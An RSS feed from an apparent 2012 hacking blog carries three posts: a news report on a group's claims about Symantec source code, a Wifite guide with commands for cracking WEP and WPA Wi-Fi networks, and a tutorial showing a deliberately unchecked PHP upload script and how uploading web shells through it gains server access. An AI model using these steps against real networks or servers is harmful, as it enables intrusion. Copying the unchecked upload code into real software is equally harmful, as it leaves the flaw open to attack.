<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2enclosuresfull.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:media="http://search.yahoo.com/mrss/" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-4232286417746899709</atom:id><lastBuildDate>Thu, 16 Feb 2012 07:11:23 +0000</lastBuildDate><category>WHITEPAPERS</category><category>tech</category><category>General</category><category>Facebook Hacks</category><category>Tech Updates</category><category>Tips n Tricks</category><category>Networking</category><category>Tools</category><category>Exploits</category><category>Tech UpdatesFacebook Hacks</category><category>Yahoo. Its YOU</category><category>Uncategorized</category><category>ubuntu</category><category>Movies</category><category>Security</category><category>Android</category><category>Ethical Hacking</category><category>E-Books</category><category>scripts</category><category>Live Concert and Albums</category><category>Tutorials</category><category>News</category><title>Defend Hackers, Secure The World</title><description>Face the fact tat we all have plenty to learn about this field. Deal wit the failures, use tem as motivation, learn something new everyday.


Claiming false credentials &amp;amp; phantom skillsets will not get you far, especially when 63248651487512645876531864 people in the universe know how 2 use the internet</description><link>http://defendhackers.blogspot.com/</link><managingEditor>noreply@blogger.com (h4ckfreak)</managingEditor><generator>Blogger</generator><openSearch:totalResults>243</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/defendhackers" /><feedburner:info uri="defendhackers" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><media:category scheme="http://www.itunes.com/dtds/podcast-1.0.dtd">Technology/Tech News</media:category><itunes:owner><itunes:email>noreply@blogger.com</itunes:email></itunes:owner><itunes:explicit>no</itunes:explicit><itunes:subtitle>Face the fact tat we all have plenty to learn about this field. Deal wit the failures, use tem as motivation, learn something new everyday. Claiming false credentials &amp;amp; phantom skillsets will not get you far, especially when 63248651487512645876531864</itunes:subtitle><itunes:summary>Face the fact tat we all have plenty to learn about this field. Deal wit the failures, use tem as motivation, learn something new everyday. Claiming false credentials &amp;amp; phantom skillsets will not get you far, especially when 63248651487512645876531864 people in the universe know how 2 use the internet</itunes:summary><itunes:category text="Technology"><itunes:category text="Tech News" /></itunes:category><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4232286417746899709.post-8654374136796609943</guid><pubDate>Sat, 07 Jan 2012 08:36:00 +0000</pubDate><atom:updated>2012-01-07T00:36:41.869-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tech Updates</category><title>Indian Hacker group threatens  Symantec to release AV source code</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-iIEI4lvjLN4/TwgD_-qfnhI/AAAAAAAAAXg/hgpACbzKG7A/s1600/symantec-india-products.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://1.bp.blogspot.com/-iIEI4lvjLN4/TwgD_-qfnhI/AAAAAAAAAXg/hgpACbzKG7A/s320/symantec-india-products.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="first"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="first"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Symantec &lt;/b&gt;&lt;/span&gt;is investigating an &lt;span style="font-size: large;"&gt;&lt;b&gt;&lt;span style="color: blue;"&gt;Indian hacking group's&lt;/span&gt;&lt;/b&gt;&lt;/span&gt; claims that it accessed source code used in the company's flagship Norton    Antivirus program.&amp;nbsp;&lt;/div&gt;&lt;div class="first"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="first"&gt;&lt;br /&gt;
&lt;/div&gt;A spokesman for the company on Thursday said that one claim by the group was false, while another is still being investigated.&lt;br /&gt;
Meanwhile, the Indian group, which calls itself Lords of Dharmaraja,  has threatened to publicly disclose the source code shortly.&lt;br /&gt;
&lt;br /&gt;
On Wednesday, the group posted on Pastebin what it claimed was  confidential documentation related to Norton AntiVirus source    code. A review of the material showed what appears to be a  description of an application programming interface (API) for Symantec's    AV product. &lt;br /&gt;
&lt;div id="related_content" style="display: none;"&gt;&lt;br /&gt;
&lt;dl&gt;&lt;dt&gt;Related Content&lt;/dt&gt;
&lt;dd&gt;&lt;/dd&gt;&lt;/dl&gt;&lt;/div&gt;The group also posted what it claimed was the complete source code tree file for Norton Antivirus. That document appears to    have been taken down.&lt;br /&gt;
&lt;br /&gt;
'Yama Tough,' the hacker who posted the documents, released at least two more on Google+ allegedly related to Symantec source    code. One of the documents appears to be a detailed technical overview of Norton Anti-Virus,&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The document explains how the software is designed to work, but includes no actual source code, the spokesman said.&lt;br /&gt;
"However, a second claim has been made by the same group regarding additional source code and we're currently investigating    that," he said. "For that one, we don't have any information to provide as of yet." the spokesman said. &lt;br /&gt;
Rob Rachwald, director of security strategy at security vendor Imperva said it is hard to know what to make of the hacking    group's claims. &lt;br /&gt;
"We don't know how much of this is chest thumping" on the part of the hackers, Rachwald said. The source code tree file posted    on Pastebin suggests the group has some potentially useful information related to Symantec's AV product, he said. "It is a    good indicator, but not a perfect one.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4232286417746899709-8654374136796609943?l=defendhackers.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/defendhackers/~4/aXnQlFEfwNY" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/defendhackers/~3/aXnQlFEfwNY/indian-hacker-group-threatens-symantec.html</link><author>noreply@blogger.com (h4ckfreak)</author><media:thumbnail url="http://1.bp.blogspot.com/-iIEI4lvjLN4/TwgD_-qfnhI/AAAAAAAAAXg/hgpACbzKG7A/s72-c/symantec-india-products.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://defendhackers.blogspot.com/2012/01/indian-hacker-group-threatens-symantec.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4232286417746899709.post-9046189967431208105</guid><pubDate>Sun, 01 Jan 2012 17:03:00 +0000</pubDate><atom:updated>2012-01-01T09:03:35.542-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Ethical Hacking</category><title>Crack WPA/WPA2 Using Wifite - Latest</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;h1&gt;&lt;a href="" name="introduction"&gt;&lt;/a&gt;&lt;/h1&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-FJYlJqHKcDg/TwCPjMjU4xI/AAAAAAAAAXY/GpmOxAMGARg/s1600/wifiteimg.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-FJYlJqHKcDg/TwCPjMjU4xI/AAAAAAAAAXY/GpmOxAMGARg/s1600/wifiteimg.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;h1&gt;&lt;a href="" name="purpose"&gt;&lt;/a&gt;purpose&lt;/h1&gt;to  attack multiple WEP and WPA encrypted networks at the same time.  this  tool is customizable to be automated with only a few arguments.  wifite  can be trusted to run without supervision. &amp;nbsp; &lt;br /&gt;
&lt;h1&gt;&lt;a href="" name="features"&gt;&lt;/a&gt;features&lt;/h1&gt;&lt;ul&gt;&lt;li&gt;&lt;i&gt;&lt;a href="http://code.google.com/p/wifite/wiki/Main_French" rel="nofollow"&gt;this project is available in French&lt;/a&gt;&lt;/i&gt;: all thanks goto Matt² for his excellent translation! &lt;/li&gt;
&lt;li&gt;sorts targets by power (in dB); cracks closest access points first &lt;/li&gt;
&lt;li&gt;automatically deauths clients of hidden networks to decloak SSIDs &lt;/li&gt;
&lt;li&gt;numerous filters to specify exactly what to attack (wep/wpa/both, above certain signal strengths, channels, etc) &lt;/li&gt;
&lt;li&gt;customizable settings (timeouts, packets/sec, channel, change mac address, ignore fake-auth, etc) &lt;/li&gt;
&lt;li&gt;"anonymous" feature; changes MAC to a random address before attacking, then changes back when attacks are complete &lt;/li&gt;
&lt;li&gt;all WPA handshakes are backed up to wifite.py's current directory &lt;/li&gt;
&lt;li&gt;smart WPA deauthentication -- cycles between all clients and broadcast deauths &lt;/li&gt;
&lt;li&gt;stop any attack with Ctrl+C -- options: continue, move onto next target, skip to cracking, or exit &lt;/li&gt;
&lt;li&gt;switching WEP attack methods does not reset IVs &lt;/li&gt;
&lt;li&gt;intel 4965 chipset fake-authentication support; uses wpa_supplicant workaround &lt;/li&gt;
&lt;li&gt;SKA support (untested) &lt;/li&gt;
&lt;li&gt;displays session summary at exit; shows any cracked keys &lt;/li&gt;
&lt;li&gt;all passwords saved to log.txt &lt;/li&gt;
&lt;li&gt;built-in updater: &lt;strong&gt;./wifite.py -upgrade&lt;/strong&gt; &lt;/li&gt;
&lt;/ul&gt;&lt;h1&gt;&lt;a href="" name="requirements"&gt;&lt;/a&gt;requirements&lt;/h1&gt;&lt;ul&gt;&lt;li&gt;linux operating system (confirmed working on Ubuntu 8.10 (BT4R1), Ubuntu 10.04.1) &lt;/li&gt;
&lt;li&gt;tested working with &lt;strong&gt;python 2.4.5&lt;/strong&gt; and &lt;strong&gt;python 2.5.2&lt;/strong&gt;; might be compatible with other versions, &lt;/li&gt;
&lt;li&gt;wireless drivers patched for monitor mode and injection: &lt;a href="http://www.backtrack-linux.org/" rel="nofollow"&gt;backtrack4&lt;/a&gt; has many pre-patched drivers, &lt;/li&gt;
&lt;li&gt;aircrack-ng (v1.1) suite: available via apt: &lt;i&gt;apt-get install aircrack-ng&lt;/i&gt; or &lt;a href="http://www.aircrack-ng.org/install.html" rel="nofollow"&gt;by clicking here&lt;/a&gt;, &lt;/li&gt;
&lt;li&gt;xterm, python-tk module: required for GUI, available via apt: &lt;i&gt;apt-get install python-tk&lt;/i&gt; &lt;/li&gt;
&lt;li&gt;macchanger: also available via apt: &lt;i&gt;apt-get install macchanger&lt;/i&gt; &lt;/li&gt;
&lt;li&gt;pyrit: not required, optionally strips wpa handshake from .cap files &lt;/li&gt;
&lt;/ul&gt;&lt;h1&gt;&lt;a href="" name="execution"&gt;&lt;/a&gt;execution&lt;/h1&gt;download the latest version: &lt;br /&gt;
&lt;pre class="prettyprint"&gt;&lt;span class="pln"&gt;wget &lt;/span&gt;&lt;span class="pun"&gt;-&lt;/span&gt;&lt;span class="pln"&gt;O wifite&lt;/span&gt;&lt;span class="pun"&gt;.&lt;/span&gt;&lt;span class="pln"&gt;py http&lt;/span&gt;&lt;span class="pun"&gt;:&lt;/span&gt;&lt;span class="com"&gt;//wifite.googlecode.com/svn/trunk/wifite.py&lt;/span&gt;&lt;/pre&gt;change permissions to executable: &lt;br /&gt;
&lt;pre class="prettyprint"&gt;&lt;span class="pln"&gt;chmod &lt;/span&gt;&lt;span class="pun"&gt;+&lt;/span&gt;&lt;span class="pln"&gt;x wifite&lt;/span&gt;&lt;span class="pun"&gt;.&lt;/span&gt;&lt;span class="pln"&gt;py&lt;/span&gt;&lt;/pre&gt;execute: &lt;br /&gt;
&lt;pre class="prettyprint"&gt;&lt;span class="pln"&gt;python wifite&lt;/span&gt;&lt;span class="pun"&gt;.&lt;/span&gt;&lt;span class="pln"&gt;py&lt;/span&gt;&lt;/pre&gt;or, to see a list of commands with info: &lt;br /&gt;
&lt;pre class="prettyprint"&gt;&lt;span class="pun"&gt;./&lt;/span&gt;&lt;span class="pln"&gt;wifite&lt;/span&gt;&lt;span class="pun"&gt;.&lt;/span&gt;&lt;span class="pln"&gt;py &lt;/span&gt;&lt;span class="pun"&gt;-&lt;/span&gt;&lt;span class="pln"&gt;help&lt;/span&gt;&lt;/pre&gt;&lt;h1&gt;&lt;a href="" name="snapshot"&gt;&lt;/a&gt;snapshot&lt;/h1&gt;console mode:&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-PO1d7QdtDx4/TwCOjAWfvYI/AAAAAAAAAXA/HX6cRdXwZqk/s1600/snapshot+1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-PO1d7QdtDx4/TwCOjAWfvYI/AAAAAAAAAXA/HX6cRdXwZqk/s1600/snapshot+1.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
gui mode (default): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-hrX-UTTSVLk/TwCPFIXje3I/AAAAAAAAAXM/jvztSTyK_lM/s1600/snapshot-gui-r39.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-hrX-UTTSVLk/TwCPFIXje3I/AAAAAAAAAXM/jvztSTyK_lM/s1600/snapshot-gui-r39.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h1&gt;&lt;a href="" name="examples"&gt;&lt;/a&gt;examples&lt;/h1&gt;&lt;i&gt;the  program contains lots of interactivity (waits for user input). these  command-line options are meant to make the program 100% automated -- no  supervision required.&lt;/i&gt; &lt;br /&gt;
to crack all WEP access points: &lt;br /&gt;
&lt;pre class="prettyprint"&gt;&lt;span class="pun"&gt;./&lt;/span&gt;&lt;span class="pln"&gt;wifite&lt;/span&gt;&lt;span class="pun"&gt;.&lt;/span&gt;&lt;span class="pln"&gt;py &lt;/span&gt;&lt;span class="pun"&gt;-&lt;/span&gt;&lt;span class="pln"&gt;all &lt;/span&gt;&lt;span class="pun"&gt;-&lt;/span&gt;&lt;span class="pln"&gt;nowpa&lt;/span&gt;&lt;/pre&gt;to crack all WEP access points with signal strength greater than (or equal to) 50dB: &lt;br /&gt;
&lt;pre class="prettyprint"&gt;&lt;span class="pun"&gt;./&lt;/span&gt;&lt;span class="pln"&gt;wifite&lt;/span&gt;&lt;span class="pun"&gt;.&lt;/span&gt;&lt;span class="pln"&gt;py &lt;/span&gt;&lt;span class="pun"&gt;-&lt;/span&gt;&lt;span class="pln"&gt;p &lt;/span&gt;&lt;span class="lit"&gt;50&lt;/span&gt;&lt;span class="pln"&gt; &lt;/span&gt;&lt;span class="pun"&gt;-&lt;/span&gt;&lt;span class="pln"&gt;nowpa&lt;/span&gt;&lt;/pre&gt;to attack all access points, use 'darkc0de.lst' for cracking WPA handshakes: &lt;br /&gt;
&lt;pre class="prettyprint"&gt;&lt;span class="pun"&gt;./&lt;/span&gt;&lt;span class="pln"&gt;wifite&lt;/span&gt;&lt;span class="pun"&gt;.&lt;/span&gt;&lt;span class="pln"&gt;py &lt;/span&gt;&lt;span class="pun"&gt;-&lt;/span&gt;&lt;span class="pln"&gt;all &lt;/span&gt;&lt;span class="pun"&gt;--&lt;/span&gt;&lt;span class="pln"&gt;dict &lt;/span&gt;&lt;span class="pun"&gt;/&lt;/span&gt;&lt;span class="pln"&gt;pentest&lt;/span&gt;&lt;span class="pun"&gt;/&lt;/span&gt;&lt;span class="pln"&gt;passwords&lt;/span&gt;&lt;span class="pun"&gt;/&lt;/span&gt;&lt;span class="pln"&gt;wordlists&lt;/span&gt;&lt;span class="pun"&gt;/&lt;/span&gt;&lt;span class="pln"&gt;darkc0de&lt;/span&gt;&lt;span class="pun"&gt;.&lt;/span&gt;&lt;span class="pln"&gt;lst&lt;/span&gt;&lt;/pre&gt;to attack all WPA access points, but do not try to crack -- any captured handshakes are saved automatically: &lt;br /&gt;
&lt;pre class="prettyprint"&gt;&lt;span class="pun"&gt;./&lt;/span&gt;&lt;span class="pln"&gt;wifite&lt;/span&gt;&lt;span class="pun"&gt;.&lt;/span&gt;&lt;span class="pln"&gt;py &lt;/span&gt;&lt;span class="pun"&gt;-&lt;/span&gt;&lt;span class="pln"&gt;all &lt;/span&gt;&lt;span class="pun"&gt;-&lt;/span&gt;&lt;span class="pln"&gt;nowpa &lt;/span&gt;&lt;span class="pun"&gt;--&lt;/span&gt;&lt;span class="pln"&gt;dict none&lt;/span&gt;&lt;/pre&gt;to  crack all WEP access points greater than 50dB in strength, giving 15  minutes for each WEP attack method, and send packets at 600 packets/sec:  &lt;br /&gt;
&lt;pre class="prettyprint"&gt;&lt;span class="pun"&gt;./&lt;/span&gt;&lt;span class="pln"&gt;wifite&lt;/span&gt;&lt;span class="pun"&gt;.&lt;/span&gt;&lt;span class="pln"&gt;py &lt;/span&gt;&lt;span class="pun"&gt;--&lt;/span&gt;&lt;span class="pln"&gt;power &lt;/span&gt;&lt;span class="lit"&gt;50&lt;/span&gt;&lt;span class="pln"&gt; &lt;/span&gt;&lt;span class="pun"&gt;-&lt;/span&gt;&lt;span class="pln"&gt;wepw &lt;/span&gt;&lt;span class="lit"&gt;15&lt;/span&gt;&lt;span class="pln"&gt; &lt;/span&gt;&lt;span class="pun"&gt;-&lt;/span&gt;&lt;span class="pln"&gt;pps &lt;/span&gt;&lt;span class="lit"&gt;600&lt;/span&gt;&lt;/pre&gt;to attempt to crack WEP-encrypted access point "2WIRE752" &lt;i&gt;endlessly&lt;/i&gt; -- program will not stop until key is cracked or user interrrupts with ^C): &lt;br /&gt;
&lt;pre class="prettyprint"&gt;&lt;span class="pun"&gt;./&lt;/span&gt;&lt;span class="pln"&gt;wifite&lt;/span&gt;&lt;span class="pun"&gt;.&lt;/span&gt;&lt;span class="pln"&gt;py &lt;/span&gt;&lt;span class="pun"&gt;-&lt;/span&gt;&lt;span class="pln"&gt;e &lt;/span&gt;&lt;span class="str"&gt;"2WIRE752"&lt;/span&gt;&lt;span class="pln"&gt; &lt;/span&gt;&lt;span class="pun"&gt;-&lt;/span&gt;&lt;span class="pln"&gt;wepw &lt;/span&gt;&lt;span class="lit"&gt;0&lt;/span&gt;&lt;/pre&gt;&lt;pre class="prettyprint"&gt;&lt;span class="lit"&gt;&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;&lt;pre class="prettyprint"&gt;&lt;span class="lit"&gt;&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;&lt;pre class="prettyprint"&gt;&lt;span class="lit"&gt;&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;&lt;pre class="prettyprint"&gt;&lt;span class="lit"&gt;thanks to google code &lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4232286417746899709-9046189967431208105?l=defendhackers.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/defendhackers/~4/9WkwNm8fzSI" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/defendhackers/~3/9WkwNm8fzSI/crack-wpawpa2-using-wifite-latest.html</link><author>noreply@blogger.com (h4ckfreak)</author><media:thumbnail url="http://2.bp.blogspot.com/-FJYlJqHKcDg/TwCPjMjU4xI/AAAAAAAAAXY/GpmOxAMGARg/s72-c/wifiteimg.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://defendhackers.blogspot.com/2012/01/crack-wpawpa2-using-wifite-latest.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4232286417746899709.post-6408039755208484985</guid><pubDate>Mon, 19 Dec 2011 21:57:00 +0000</pubDate><atom:updated>2011-12-19T14:01:53.134-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tutorials</category><title>Basics of Arbitary File Upload</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;As the name suggests Arbitrary File Upload Vulnerabilities is a type of  vulnerability which occurs in web applications if the file type uploaded  is not checked, filtered or sanitized.&lt;br /&gt;
&lt;br /&gt;
The main danger of these kind of vulnerabilities is that the attacker  can upload a malicious PHP , ASP etc. script and execute it. The main  idea is to get the access to the server and execute desired code. for  example an Attacker who have gained access to such kind of vulnerability  can upload a malicious &lt;a class="itxtrst itxtrsta itxthook" href="http://www.go4expert.com/forums/showthread.php?t=26351#" id="itxthook0" rel="nofollow" style="background-color: transparent; border-bottom: 0.075em solid darkgreen; color: darkgreen; font-size: 100%; font-weight: normal; padding-bottom: 1px; text-decoration: underline;"&gt;&lt;span class="itxtrst itxtrstspan itxthookspan" id="itxthook0w0" style="background: none repeat scroll 0% 0% transparent; color: darkgreen; font-size: inherit; font-weight: inherit;"&gt;shell&lt;/span&gt;&lt;/a&gt;  script and further can control the machine to execute desired commands,  which would lead to a full compromise of the server and the victim’s  server gets owned.&lt;br /&gt;
&lt;br /&gt;
In this tutorial we’ll be looking at a a basic example of a Vulnerable Script and How to exploit it. So let’s get started.&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;h3 class="articleheading" style="font-family: Verdana,sans-serif;"&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=4232286417746899709&amp;amp;postID=6408039755208484985" name="bg"&gt;&lt;/a&gt;  Proof of Concept  &lt;/h3&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: Verdana,sans-serif;"&gt;   For the demonstration of a realistic scenario, I have created a basic vulnerable PHP script.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: Verdana,sans-serif;"&gt;   Upload.php&lt;/span&gt;&lt;br /&gt;
&lt;div style="font-family: Verdana,sans-serif; margin: 5px 20px 20px;"&gt;&lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 418px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;"&gt;&amp;lt;?php
   
  /**
   * @author lionaneesh
   * @copyright 2011
   * @page upload.php
   */
   
  // If the upload request has been made , Upload the file
   
  $uploadMessage = "";
   
  if (isset($_POST['upload']))
  {
        $path = $_FILES['uploadFile']['name'];
        if(move_uploaded_file($_FILES['uploadFile']['tmp_name'],$path) == TRUE)
        {
              $uploadMessage = "File Uploaded &amp;lt;a href='$path'&amp;gt;HERE&amp;lt;/a&amp;gt;";
        }
  }
   
  ?&amp;gt;
   
  &amp;lt;html&amp;gt;
   
  &amp;lt;head&amp;gt;
   
      &amp;lt;title&amp;gt;Welcome to Vulnerable Apps&amp;lt;/title&amp;gt;
   
  &amp;lt;/head&amp;gt;
   
  &amp;lt;body&amp;gt;
   
  &amp;lt;h1&amp;gt;Arbitary file upload ( POC )&amp;lt;/h1&amp;gt;
  &amp;lt;hr /&amp;gt;
   
  &amp;lt;p&amp;gt;Hey all this is a sample php script to upload image files , This script doesn't contains file type checking code which makes it prone to Arbitary file upload vulnerbility. &amp;lt;/p&amp;gt;
   
  &amp;lt;hr /&amp;gt;
  &amp;lt;h2&amp;gt;Upload&amp;lt;/h2&amp;gt;
  &amp;lt;hr /&amp;gt;
   
  &amp;lt;table&amp;gt;
  &amp;lt;form action="&amp;lt;?php echo $_SERVER['PHP_SELF']; ?&amp;gt;" method="POST" enctype="multipart/form-data"&amp;gt;
      &amp;lt;tr&amp;gt;
      
          &amp;lt;td width="100"&amp;gt;Upload File &amp;lt;/td&amp;gt;
          &amp;lt;td width="380"&amp;gt;&amp;lt;input class="cmd" type="file" name="uploadFile"/&amp;gt;&amp;lt;/td&amp;gt;
          &amp;lt;td&amp;gt;&amp;lt;input style="margin-left:20px;" type="submit" name="upload" class="own" value="Upload"/&amp;gt;&amp;lt;/td&amp;gt;
      
      &amp;lt;/tr&amp;gt;
  &amp;lt;/form&amp;gt;
  &amp;lt;/table&amp;gt;
  &amp;lt;?php
   
  echo $uploadMessage;
   
  ?&amp;gt;
   
  &amp;lt;/body&amp;gt;
   
  &amp;lt;/html&amp;gt;&lt;/pre&gt;&lt;/div&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;  In the above script we simply ask the user to input the file to  be uploaded and without even checking what the file-type is or its  extension we upload it.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: Verdana,sans-serif;"&gt;   This is a basic example of how these bugs occur.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h3 class="articleheading" style="font-family: Verdana,sans-serif;"&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=4232286417746899709&amp;amp;postID=6408039755208484985" name="bg"&gt;&lt;/a&gt; How to exploit it &lt;/h3&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: Verdana,sans-serif;"&gt;   Now to exploit this common bug is yet simpler, the hacker can simply  download any Web Shell-Scripts , Written in PHP , ASP etc.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b style="font-family: Verdana,sans-serif;"&gt;Some PHP Shells :-&lt;/b&gt;&lt;br /&gt;
&lt;u style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;
&lt;a href="https://sourceforge.net/projects/ani-shell/" target="_blank"&gt;Ani-Shell&lt;/a&gt;&lt;br /&gt;
&lt;/u&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;[ &lt;/span&gt;&lt;a href="http://www.google.co.in/search?q=r57+Shell&amp;amp;ie=utf-8&amp;amp;oe=utf-8&amp;amp;aq=t&amp;amp;rls=org.mozilla:en-US:official&amp;amp;client=firefox-a#hl=en&amp;amp;client=firefox-a&amp;amp;hs=1kt&amp;amp;rls=org.mozilla:en-US:official&amp;amp;sa=X&amp;amp;ei=DsUrTp3nDoGvrAe_44GyDQ&amp;amp;ved=0CBYQBSgA&amp;amp;q=r57Shell&amp;amp;spell=1&amp;amp;bav=on.2,or.r_gc.r_pw.&amp;amp;fp=c64a0f896fae2d90&amp;amp;biw=1280&amp;amp;bih=697" style="font-family: Verdana,sans-serif;" target="_blank"&gt;R57 Shell&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://www.google.co.in/search?q=r57+Shell&amp;amp;ie=utf-8&amp;amp;oe=utf-8&amp;amp;aq=t&amp;amp;rls=org.mozilla:en-US:official&amp;amp;client=firefox-a#hl=en&amp;amp;client=firefox-a&amp;amp;hs=1kt&amp;amp;rls=org.mozilla:en-US:official&amp;amp;sa=X&amp;amp;ei=DsUrTp3nDoGvrAe_44GyDQ&amp;amp;ved=0CBYQBSgA&amp;amp;q=c99Shell&amp;amp;spell=1&amp;amp;bav=on.2,or.r_gc.r_pw.&amp;amp;fp=c64a0f896fae2d90&amp;amp;biw=1280&amp;amp;bih=697" style="font-family: Verdana,sans-serif;" target="_blank"&gt;C99 Shell&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: red; font-family: Verdana,sans-serif;"&gt; Note: These shells are not intended to be used as this way, author is not responsible for the way in which the user uses it.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: Verdana,sans-serif;"&gt;    Now to exploit this vulnerability the hacker have to carry out some steps :-&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b style="font-family: Verdana,sans-serif;"&gt;Upload the Shell&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-ly8eQJZ8v9k/Tu-z9kZouuI/AAAAAAAAAWk/2UJnfkKnUy4/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="368" src="http://4.bp.blogspot.com/-ly8eQJZ8v9k/Tu-z9kZouuI/AAAAAAAAAWk/2UJnfkKnUy4/s640/1.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b style="font-family: Verdana,sans-serif;"&gt;Go to the link&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-CJ6IL-fU7RA/Tu-0JvtB66I/AAAAAAAAAWs/X0uBI2UaboE/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-CJ6IL-fU7RA/Tu-0JvtB66I/AAAAAAAAAWs/X0uBI2UaboE/s1600/2.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b style="font-family: Verdana,sans-serif;"&gt;Gain Access&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-PuNuJkoNNho/Tu-0Qw_xp3I/AAAAAAAAAW0/aisHaBs18x4/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-PuNuJkoNNho/Tu-0Qw_xp3I/AAAAAAAAAW0/aisHaBs18x4/s1600/3.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
